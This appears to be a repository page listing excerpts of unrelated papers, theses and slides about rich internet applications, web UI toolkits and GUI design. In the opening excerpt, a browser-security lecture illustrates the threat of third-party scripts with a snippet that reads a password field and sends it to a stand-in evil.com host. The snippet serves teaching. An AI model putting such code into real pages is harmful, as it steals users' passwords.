Dynamic Client RIA
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Browser Code Isolation
CS 155 Spring 2014 Browser code isolation John Mitchell Modern web sites are complex Modern web “site” Code from many sources Combined in many ways Sites handle sensitive information ! Financial data n" Online banking, tax filing, shopping, budgeting, … ! Health data n" Genomics, prescriptions, … ! Personal data n" Email, messaging, affiliations, … Others want this information ! Financial data n" Black-hat hackers, … ! Health data n" Insurance companies, … ! Personal data n" Ad companies, big government, … Modern web “site” Code from many sources Combined in many ways Basic questions ! How do we isolate code from different sources n" Protecting sensitive information in browser n" Ensuring some form of integrity n" Allowing modern functionality, flexible interaction Example:Library ! Library included using tag n" <script src="jquery.js"></script> ! No isolation n" Same frame, same origin as rest of page ! May contain arbitrary code n" Library developer error or malicious trojan horse n" Can redefine core features of JavaScript n" May violate developer invariants, assumptions jQuery used by 78% of the Quantcast top 10,000 sites, over 59% of the top million Second example: advertisement <script src=“https://adpublisher.com/ad1.js”></script> <script src=“https://adpublisher.com/ad2.js”></script>! ! Read password using the DOM API var c = document.getElementsByName(“password”)[0] Directly embedded third-party JavaScript poses a threat to critical hosting page resources Send it to evil location (not subject to SOP) <img src=``http::www.evil.com/info.jpg?_info_”> -
Rich Internet Applications
Rich Internet Applications (RIAs) A Comparison Between Adobe Flex, JavaFX and Microsoft Silverlight Master of Science Thesis in the Programme Software Engineering and Technology CARL-DAVID GRANBÄCK Department of Computer Science and Engineering CHALMERS UNIVERSITY OF TECHNOLOGY UNIVERSITY OF GOTHENBURG Göteborg, Sweden, October 2009 The Author grants to Chalmers University of Technology and University of Gothenburg the non-exclusive right to publish the Work electronically and in a non-commercial purpose make it accessible on the Internet. The Author warrants that he/she is the author to the Work, and warrants that the Work does not contain text, pictures or other material that violates copyright law. The Author shall, when transferring the rights of the Work to a third party (for example a publisher or a company), acknowledge the third party about this agreement. If the Author has signed a copyright agreement with a third party regarding the Work, the Author warrants hereby that he/she has obtained any necessary permission from this third party to let Chalmers University of Technology and University of Gothenburg store the Work electronically and make it accessible on the Internet. Rich Internet Applications (RIAs) A Comparison Between Adobe Flex, JavaFX and Microsoft Silverlight CARL-DAVID GRANBÄCK © CARL-DAVID GRANBÄCK, October 2009. Examiner: BJÖRN VON SYDOW Department of Computer Science and Engineering Chalmers University of Technology SE-412 96 Göteborg Sweden Telephone + 46 (0)31-772 1000 Department of Computer Science and Engineering Göteborg, Sweden, October 2009 Abstract This Master's thesis report describes and compares the three Rich Internet Application !RIA" frameworks Adobe Flex, JavaFX and Microsoft Silverlight. -
Open Source Web GUI Toolkits
Open Source Web GUI Toolkits "A broad and probably far too shallow presentation on stuff that will probably change 180 degrees by the time you hear about it from me" Nathan Schlehlein [email protected] 1 Why Web Developers Drink... Can't get away with knowing one thing A Fairly Typical Web App... ➔ MySQL – Data storage ➔ PHP – Business logic ➔ Javascript - Interactivity ➔ HTML – Presentation stuff ➔ CSS – Presentation formatting stuff ➔ Images – They are... Purdy... ➔ httpd.conf, php.ini, etc. Problems are liable to pop up at any stage... 2 The Worst Thing. Ever. Browser Incompatibilities! Follow the rules, still lose Which is right? ➔ Who cares! You gotta make it work anyways! Solutions More work or less features? ➔ Use browser-specific stuff - Switch via Javascript ➔ Use a subset of HTML that most everyone agrees on 3 Web Application? Web sites are... OK, but... Boring... Bounce users from page to page Stuff gets messed up easily ➔ Bookmarks? Scary... ➔ Back button 4 Why A Web Toolkit? Pros: Let something else worry about difficult things ➔ Layout issues ➔ Session management ➔ Browser cross-compatibility ➔ Annoying RPC stuff 5 >INSERT BUZZWORD HERE< Neat web stuff has been happening lately... AJAX “Web 2.0” Google maps Desktop app characteristics on the web... 6 Problem With >BUZZWORDS< Nice, but... Lots of flux ➔ Technology ➔ Expectations of technology Communications can get tricky Yet another thing to program... ➔ (Correctly) 7 Why A Web Toolkit? Pros: Let something else worry about difficult things ➔ Communications management ➔ Tested Javascript code ➔ Toolkit deals with changes, not the programmer 8 My Criteria Bonuses For... A familiar programming language ➔ Javascript? Unit test capability ➔ Test early, test often, sleep at night Ability to incrementally introduce toolkit Compatibility with existing application Documentation Compelling Examples 9 Web Toolkits – Common Features ■ Widgets ■ Layouts ■ Manipulation of page elements DOM access, etc. -
Comparison of Common Xml-Based Web User Interface Languages
Journal of Web Engineering, Vol. 9, No. 2 (2010) 095–115 c Rinton Press COMPARISON OF COMMON XML-BASED WEB USER INTERFACE LANGUAGES MIKKO POHJA Department of Media Technology, Aalto University P.O. Box 15400, FI-00076 Aalto, Finland mikko.pohja@hut.fi Received August 1, 2009 Revised February 25, 2010 In addition to being a platform for information access, the World Wide Web is increas- ingly becoming an application platform. While web applications have several benefits compared to desktop applications, there are also some problems. With legacy HTML, for example, one cannot produce user interfaces such as those that users have become accustomed to with desktop applications. What worked for static documents is not suf- ficient for the complicated web applications of today. Several parties have addressed this problem by defining a specific UI description language. In addition, the renewal of HTML aims to enhance support for web applications. This study evaluated five XML- based UI description formats, including HTML 5, in order to determine which language is best suited for modern web application development. The study also assessed what kind of applications are suited to each format. The requirements for a Web UI descrip- tion language from the literature were revised and three use cases were defined, through which the languages are evaluated. The paper also presents the model differences of the languages. Keywords: Web User Interface Description Language, Web Application Communicated by: D. Lowe & O. Pastor 1 Introduction Commerce and communication tasks, such as the use of e-mail, are common today on the World Wide Web (WWW), as is a trend towards realizing higher interaction tasks, such as in- formation authoring. -
Design of a Service-Oriented Dashboard
DESIGN OF A SERVICE-ORIENTED DASHBOARD by GAYATHRI SUNDAR MURAT M. TANIK, COMMITTEE CHAIR DAVID G. GREEN GARY J. GRIMES JOHN L. HARTMAN IV A THESIS Submitted to the graduate faculty of The University of Alabama at Birmingham, in partial fulfillment of the requirements for the degree of Master of Science BIRMINGHAM, ALABAMA 2007 ii DESIGN OF A SERVICE-ORIENTED DASHBOARD GAYATHRI SUNDAR ELECTRICAL ENGINEERING ABSTRACT Service-Oriented Enterprises are currently focused on offering enhanced user ex- periences to customers, employees, and enterprise partners who use the enterprise’s soft- ware applications. A better user experience is delivered through the presentation of ser- vices and business processes to the user in a composite manner, and by facilitating a bet- ter user-application interaction for the user. Our experience with the bioinformatics do- main helped us to see that although existing models of enterprise portals offer an inte- grated environment to present applications and enterprise resources, they are not suffi- cient to address certain complex user-application interactions. In this thesis, we present a design for a Service-Oriented Dashboard to address this deficiency. The service-oriented dashboard leverages Service-Oriented Architecture to pre- sent an integrated environment to access and interact with the diverse and isolated soft- ware tools, applications, and resources of an enterprise. We address the design of the dashboard at three levels: the presentation layer, the task composition layer, and the ser- vices layer. We introduce in the thesis the notion of describing the user’s job function as a composition of tasks. Users, through this approach, will be able to compose applica- tions according to the user’s tasks. -
Open Source Bridge Touchscreen Presentation
Interactive kiosk display framework Peter Krenesky ([email protected]) Rob McGuire-Dale ([email protected]) http://trac.osuosl.org/touchscreen What is Touchscreen? Interactive kiosk display framework that is: Portable Plugin-based Simple and flexible API Open-source How can Touchscreen be used? Interactive information kiosks How can Touchscreen be used? Public information displays Touchscreen demonstration How we use Touchscreen at the Open Source Lab Technologies in Touchscreen How Touchscreen is built Languages in Touchscreen HTML & CSS JavaScript jQuery (sexy JavaScript library) Raphael (JavaScript SVG graphics library) Python Django (server-side web framework) Twisted (python networking engine) Why not Flash or OpenLaszlo? Original Touchscreen (v1.0) was OpenLaszlo (compiles to Flash) Pros Touchscreen 1.0 Fast Javascript support Could parse XML feeds Cons Niche language poor HTML integration OpenLaszlo has annoying syntax <include href="lib/lzx/screen.lzx" /> <!-- FTP User Map --> <dataset type="http" name="dset_ftpUserMap" src="http://ftp-osl.osuosl.org:8000/"> </dataset> <datapointer xpath="dset_ftpUserMap:/rss/channel" rerunxpath="true"> <method event="ondata"> var label = this.xpathQuery('item[1]/title/text()'); var lat = this.xpathQuery('item[2]/title/text()'); var lon = this.xpathQuery('item[3]/title/text()'); screen_osl_ftpusersmap.createPoint(lat,lon, label); label = null; lat = null; lon = null; </method> </datapointer> <include href="lib/lzx/circle.lzx"/> <resource name="ftpusermap" src="screens/ftpmap/map_1360nolabel.png"/> <include href="screens/ftpmap/ftpusersmap.lzx"/> Why SVG and not canvas? SVG objects can: can be styled with css be manipulated with jQuery receive javascript events Speed Differences SVG better for large objects Canvas better for many smaller objects Conclusion SVG for interactivity Canvas for many animated objects Raphaël: a javascript SVG library provides easy API on top of SVG. -
Interfacing Openlaszlo Applications to Web Services
1 Interfacing OpenLaszlo Applications to Web Services An Excerpt from “Laszlo in Action” By Norman Klein and Max Carlson with Glenn MacEwen Early Access Release: January 2007 Print Release: November 2007 | 500 pages ISBN: 1-932394-83-4 www.manning.com/laszloinaction For Source Code, Free Chapters, the Author Forum and more information about this title please go to www.manning.com/laszloinaction 1 2 Interfacing OpenLaszlo Applications to Web Services If you've been enviously eyeing the RIA capabilities of OpenLaszlo, but been daunted by its interface requirements, then you'll be glad to know that interfacing to OpenLaszlo is just like that old Talking Heads song "same as it ever was". In other words, OpenLaszlo uses the same HTTP standards that you're familiar with; allowing OpenLaszlo applications to co-exist with your HTML web applications to further leverage your server-side web services. All OpenLaszlo communications with the server are still based on sending and receiving HTTP requests and responses. OpenLaszlo operates just like Ajax by requiring HTTP responses to be composed of XML instead of HTML. The technical term for this is a ReST-based "XML-over-HTTP" service, but this is only a fancy way of describing the familiar operation of the web. So why does it use XML and not HTML? Since an RIA can provide a superior visual presentation, only the data is needed as the HTML presentation details are superfluous. OpenLaszlo's compliance to open standards allows it to interface to any HTTP web server; ranging from basic HTTP web servers such as Apache, Jetty or Microsoft's IIS to the different web frameworks such as Struts, Tapestry, Ruby on Rails, Microsoft .Net that work with servlet containers to provide enterprise class services. -
Kinect Based Painter
PiccasoNect – - Kinect based Painter Introduction Kinect is a line of motion sensing input devices by Microsoft for Xbox 360 and Xbox One video game consoles and Windows PCs. Based around a webcam-style add-on peripheral, it enables users to control and interact with their console/computer without the need for a game controller, through a natural user interface using gestures and spoken commands. Kinect sensor is based on Prime-Sense technology and there are similar sensors on the market such as Asus Xtion and PrimeSense Carmine. (http://en.wikipedia.org/wiki/Kinect) Windows Presentation Foundation (or WPF) is a graphical subsystem for rendering user interfaces in Windows-based applications by Microsoft. WPF attempts to provide a consistent programming model for building applications and separates the user interface from business logic. It resembles similar XML-oriented object models, such as those implemented in XUL and SVG. (http://en.wikipedia.org/wiki/Windows_Presentation_Foundation) Overview In the project we developed a WPF application which allows the user to create a painting using his hands with minimal interactions with the mouse and keyboard. Using the Kinect, the application follows the user's hands movements, and translates them to a brush strokes. The application allows the user to select a brush from several rendering methods. Application requirements Capture user movements using Kinect sensor Paint the desired brush according to the user hands movements Enable several rendering options to choose from Option to save and send via email the finished painting Project Infrastructure The project is A WPF application, based on Microsoft Kinect SDK 1.7. -
Developing Rich Internet Applications with Rails, Openlaszlo, and Eclipse Automate Quickly with Rails
Developing rich Internet applications with Rails, OpenLaszlo, and Eclipse Automate quickly with Rails Skill Level: Intermediate Robi Sen ([email protected]) Freelance Writer Department13 12 May 2006 Explore at a high level how to develop a rich Internet application using OpenLaszlo, Ruby on Rails, MySQL, and Eclipse to provide a common IDE to not only develop your application but also to automate many of the steps in developing a Rails or OpenLaszlo application. This will further speed up and streamline the already fast development cycle of Rails applications. Section 1. Before you start Ruby on Rails has over the past year become one of the fastest growing and most popular open source Web application development frameworks. But because of the focus on building HTML applications, some have criticized Rails as being inflexible. Especially with the emergence of rich Internet applications (RIAs), applications using technologies such as Flash for user interface development and XML for data transport to replicate desktop application functionality, open source developers have wondered if there is some way to easily create RIAs that can exploit the pure object-oriented language of Ruby and the unique rapid application development features of Rails. About this tutorial This tutorial will expose you to two of the hottest platforms in Web development: Ruby on Rails, for fun and rapid Web application development; and OpenLaszlo, the open source RIA server. You will see that creating visually appealing desktop-like Developing rich Internet applications with Rails, OpenLaszlo, and Eclipse © Copyright IBM Corporation 1994, 2008. All rights reserved. Page 1 of 28 developerWorks® ibm.com/developerWorks applications deployed and managed over the Web can be incredibly easy with these platforms. -
The Effect of Ajax on Performance and Usability in Web Environments
The effect of Ajax on performance and usability in web environments Y.D.C.N. op ’t Roodt, BICT Date of acceptance: August 31st, 2006 One Year Master Course Software Engineering Thesis Supervisor: Dr. Jurgen Vinju Internship Supervisor: Ir. Koen Kam Company or Institute: Hyves (Startphone Limited) Availability: public domain Universiteit van Amsterdam, Hogeschool van Amsterdam, Vrije Universiteit 2 This page intentionally left blank 3 Table of contents 1 Foreword ................................................................................................... 6 2 Motivation ................................................................................................. 7 2.1 Tasks and sources................................................................................ 7 2.2 Research question ............................................................................... 9 3 Research method ..................................................................................... 10 3.1 On implementation........................................................................... 11 4 Background and context of Ajax .............................................................. 12 4.1 Background....................................................................................... 12 4.2 Rich Internet Applications ................................................................ 12 4.3 JavaScript.......................................................................................... 13 4.4 The XMLHttpRequest object.......................................................... -
Guaranteeing Responsiveness and Consistency In
View metadata, citation and similar papers at core.ac.uk brought to you by CORE provided by Texas A&M Repository GUARANTEEING RESPONSIVENESS AND CONSISTENCY IN DYNAMIC, ASYNCHRONOUS GRAPHICAL USER INTERFACES A Dissertation by CHARLES GABRIEL FOUST Submitted to the Office of Graduate and Professional Studies of Texas A&M University in partial fulfillment of the requirements for the degree of DOCTOR OF PHILOSOPHY Chair of Committee, Jaakko J¨arvi Committee Members, Gabriel Dos Reis Paul Gratz Frank Shipman Head of Department, Dilma Da Silva May 2016 Major Subject: Computer Science Copyright 2016 Charles Gabriel Foust ABSTRACT This dissertation proposes a programming model for Graphical User Interfaces (GUIs) that relieves the programmer of a difficult and error-prone task: orchestrating concurrent responses to events to ensure data dependencies are always enforced correctly. In this programming model, rather than defining program responses to events, the programmer defines the data dependencies that exist in the GUI and the methods by which those depen- dencies may be enforced|a run-time system uses this specification to generate responses to events. The approach gives the following guarantee: the same sequence of events produces the same results, regardless of the timing of those events. The dissertation demonstrates the benefits of the proposed programming model with implementations of several example user interfaces. At the core of this programming model is a data structure known as a property model. A property model composes responses to individual events into a single reactive program that runs asynchronously. The program's results are used to update the GUI. The program is constructed in a manner that respects all data dependencies, thereby guaranteeing that results are consistent regardless of the length of time taken by individual responses. -
Multi-Platform User Interface Construction – a Challenge for Software Engineering-In-The-Small
Multi-platform User Interface Construction – A Challenge for Software Engineering-in-the-Small Judith Bishop Department of Computer Science University of Pretoria Pretoria 0002 South Africa [email protected] ABSTRACT The popular view of software engineering focuses on managing 1. INTRODUCTION teams of people to produce large systems. This paper addresses a 1.1 Software engineering different angle of software engineering, that of development for Software engineering as a discipline is perceived as tackling re-use and portability. We consider how an essential part of computing in-the-large. It elevates tools and techniques from the most software products – the user interface – can be successfully level of a craft, to where they can be efficiently and reproducibly engineered so that it can be portable across multiple platforms harnessed for the successful completion of large projects. and on multiple devices. Our research has identified the structure of the problem domain, and we have filled in some of Thirty years ago in 1975, Fred Brooks introduced us to the the answers. We investigate promising solutions from the mythical man month of software development [Brooks 1975] model-driven frameworks of the 1990s, to modern XML-based and followed this with the “no silver bullet” paper, in which he specification notations (Views, XUL, XIML, XAML), multi- talked about software engineering as being a process of building platform toolkits (Qt and Gtk), and our new work, Mirrors software with “specifications, assembly of components, and which pioneers reflective libraries. The methodology on which scaffolding” [Brooks 1987]. Boehm, too, found in 1976 that Views and Mirrors is based enables existing GUI libraries to be software engineering was, encouragingly, concentrating on the transported to new operating systems.